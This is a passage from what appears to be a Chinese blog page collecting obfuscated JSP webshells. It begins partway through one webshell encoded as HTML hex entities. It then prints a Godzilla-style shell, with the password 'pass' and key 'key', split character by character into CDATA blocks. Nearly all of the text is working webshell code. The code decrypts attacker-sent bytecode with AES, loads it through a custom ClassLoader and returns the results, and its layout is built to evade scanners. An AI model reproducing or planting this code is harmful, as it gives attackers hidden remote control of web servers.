61;&#x74;&#x61;&#x29;&#x29;&#x3b;&#x7d;&#x65;&#x6c;&#x73;&#x65;&#x7b;&#x72;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2e;&#x73;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x72;&#x61;&#x6d;&#x65;&#x74;&#x65;&#x72;&#x73;&#x22;&#x2c;&#x64;&#x61;&#x74;&#x61;&#x29;&#x3b;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x42;&#x79;&#x74;&#x65;&#x41;&#x72;&#x72;&#x61;&#x79;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x20;&#x61;&#x72;&#x72;&#x4f;&#x75;&#x74;&#x3d;&#x6e;&#x65;&#x77;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x42;&#x79;&#x74;&#x65;&#x41;&#x72;&#x72;&#x61;&#x79;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x28;&#x29;&#x3b;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x66;&#x3d;&#x28;&#x28;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x29;&#x73;&#x65;&#x73;&#x73;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x79;&#x6c;&#x6f;&#x61;&#x64;&#x22;&#x29;&#x29;&#x2e;&#x6e;&#x65;&#x77;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x29;&#x3b;&#x66;&#x2e;&#x65;&#x71;&#x75;&#x61;&#x6c;&#x73;&#x28;&#x61;&#x72;&#x72;&#x4f;&#x75;&#x74;&#x29;&#x3b;&#x66;&#x2e;&#x65;&#x71;&#x75;&#x61;&#x6c;&#x73;&#x28;&#x70;&#x61;&#x67;&#x65;&#x43;&#x6f;&#x6e;&#x74;&#x65;&#x78;&#x74;&#x29;&#x3b;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2e;&#x77;&#x72;&#x69;&#x74;&#x65;&#x28;&#x6d;&#x64;&#x35;&#x2e;&#x73;&#x75;&#x62;&#x73;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x30;&#x2c;&#x31;&#x36;&#x29;&#x29;&#x3b;&#x66;&#x2e;&#x74;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x29;&#x3b;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2e;&#x77;&#x72;&#x69;&#x74;&#x65;&#x28;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x78;&#x28;&#x61;&#x72;&#x72;&#x4f;&#x75;&#x74;&#x2e;&#x74;&#x6f;&#x42;&#x79;&#x74;&#x65;&#x41;&#x72;&#x72;&#x61;&#x79;&#x28;&#x29;&#x2c;&#x20;&#x74;&#x72;&#x75;&#x65;&#x29;&#x29;&#x29;&#x3b;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2e;&#x77;&#x72;&#x69;&#x74;&#x65;&#x28;&#x6d;&#x64;&#x35;&#x2e;&#x73;&#x75;&#x62;&#x73;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x31;&#x36;&#x29;&#x29;&#x3b;&#x7d;&#x20;&#x7d;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x7b;&#x7d;</jsp:scriptlet></jsp:root></span><br></pre></td></tr></table></figure>
<h2 id="CDATA"><a href="#CDATA" class="headerlink" title="CDATA"></a>CDATA</h2><h3 id="哥斯拉-2"><a href="#哥斯拉-2" class="headerlink" title="哥斯拉"></a>哥斯拉</h3><p>哥斯拉,密码pass,密钥key</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line"><?xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span>?><jsp:root xmlns:jsp=<span class="string">"http://java.sun.com/JSP/Page"</span> version=<span class="string">"1.2"</span>><jsp:declaration><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[c]]><![CDATA[=]]><![CDATA[<span class="string">"]]><![CDATA[3]]><![CDATA[c]]><![CDATA[6]]><![CDATA[e]]><![CDATA[0]]><![CDATA[b]]><![CDATA[8]]><![CDATA[a]]><![CDATA[9]]><![CDATA[c]]><![CDATA[1]]><![CDATA[5]]><![CDATA[2]]><![CDATA[2]]><![CDATA[4]]><![CDATA[a]]><![CDATA["</span>]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[=]]><![CDATA[<span class="string">"]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA["</span>]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[<span class="number">5</span>]]><![CDATA[=]]><![CDATA[m]]><![CDATA[d]]><![CDATA[<span class="number">5</span>]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[+]]><![CDATA[x]]><![CDATA[c]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[e]]><![CDATA[n]]><![CDATA[d]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[{]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[z]]><![CDATA[)]]><![CDATA[{]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[z]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[Q]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[d]]><![CDATA[e]]><![CDATA[f]]><![CDATA[i]]><![CDATA[n]]><![CDATA[e]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[c]]><![CDATA[b]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[<span class="number">0</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[,]]><![CDATA[b]]><![CDATA[o]]><![CDATA[o]]><![CDATA[l]]><![CDATA[e]]><![CDATA[a]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[)]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[=]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["</span>]]><![CDATA[)]]><![CDATA[;]]><![CDATA[c]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[i]]><![CDATA[t]]><![CDATA[(]]><![CDATA[m]]><![CDATA[?]]><![CDATA[<span class="number">1</span>]]><![CDATA[:]]><![CDATA[<span class="number">2</span>]]><![CDATA[,]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[s]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[.]]><![CDATA[S]]><![CDATA[e]]><![CDATA[c]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[K]]><![CDATA[e]]><![CDATA[y]]><![CDATA[S]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[(]]><![CDATA[x]]><![CDATA[c]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[<span class="string">"]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["</span>]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[.]]><![CDATA[d]]><![CDATA[o]]><![CDATA[F]]><![CDATA[i]]><![CDATA[n]]><![CDATA[a]]><![CDATA[l]]><![CDATA[(]]><![CDATA[s]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[<span class="number">5</span>]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[;]]><![CDATA[m]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[M]]><![CDATA[D]]><![CDATA[5]]><![CDATA["</span>]]><![CDATA[)]]><![CDATA[;]]><![CDATA[m]]><![CDATA[.]]><![CDATA[u]]><![CDATA[p]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[s]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[<span class="number">0</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[m]]><![CDATA[a]]><![CDATA[t]]><![CDATA[h]]><![CDATA[.]]><![CDATA[B]]><![CDATA[i]]><![CDATA[g]]><![CDATA[I]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[g]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[<span class="number">1</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[.]]><![CDATA[d]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[<span class="number">1</span>]]><![CDATA[<span class="number">6</span>]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[U]]><![CDATA[p]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[C]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[h]]><![CDATA[r]]><![CDATA[o]]><![CDATA[w]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[;]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[u]]><![CDATA[t]]><![CDATA[i]]><![CDATA[l]]><![CDATA[.]]><![CDATA[B]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA["</span>]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[;]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[)]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[e]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[T]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA["</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[s]]><![CDATA[u]]><![CDATA[n]]><![CDATA[.]]><![CDATA[m]]><![CDATA[i]]><![CDATA[s]]><![CDATA[c]]><![CDATA[.]]><![CDATA[B]]><![CDATA[A]]><![CDATA[S]]><![CDATA[E]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["</span>]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ 